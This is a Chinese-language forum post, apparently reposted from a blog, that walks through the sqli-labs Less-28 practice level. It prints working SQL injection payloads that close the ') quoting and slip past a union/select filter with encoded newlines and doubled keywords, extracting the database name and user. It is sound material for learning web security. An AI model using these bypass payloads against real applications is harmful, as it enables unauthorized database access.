sqli-labs(28)---原创原创自此一家

0X01构造闭合

’报错 )报错 其他不报错 那我们猜想是不是')的闭合

?id=1')||('1')=('1 返回正确 

那么好像猜对了

0X02爆表名 过滤了相连接的union和select

?id=')%0AUNIOn%0ASELECt%0A1,database(),3and%0A('1')=('1

这里过滤了相连接的union select 那咋办呐?

说句实话 白的的方法都不行 这是自己的方法

?id=1990')ununion%0Aselection%0Aselect%0A1,database(),3||('1')=('1

这里的环境是php8.4.45+apache
这里网上的方法全是
?id=100’)union%a0select(1),(user()),(3)||(‘1
我去试了并不行 而且他们都是这个思路来想绕过这个正则
[attachimg]80695[/attachimg]
这是一个union+select的正则过滤他们的思路下来是将select变为select(1)来绕过
但是都是喜欢抄袭吗?不去尝试吗?这样是不行的
[code="sql"]
?id=100%27)union%a0select(1),(user()),(3)||(%271
[/code]
[attachimg]80696[/attachimg]
这里%a0不仅没有变成空格 还返回了一个奇异字符 那我们照着他们的思路下去 将其变为空格构造
[code]?id=100%27)union%0aselect(1),(user()),(3)||(%271[/code]
[attachimg]80697[/attachimg]
发现还是被过滤掉了
这里直接写unionselect是可以不被过滤的但是这样不能执行啊亲 我们需要空格
我们可以这样 更据双写原理 来构造奇异双写绕过
[code="sql"]
?id=1990')ununion%0Aselection%0Aselect%0A1,database(),3||('1')=('1
[/code]
第一次 发帖就发了一个水贴  望多多包涵

少就是多 慢就是快

原文地址:https://www.cnblogs.com/-zhong/p/10941445.html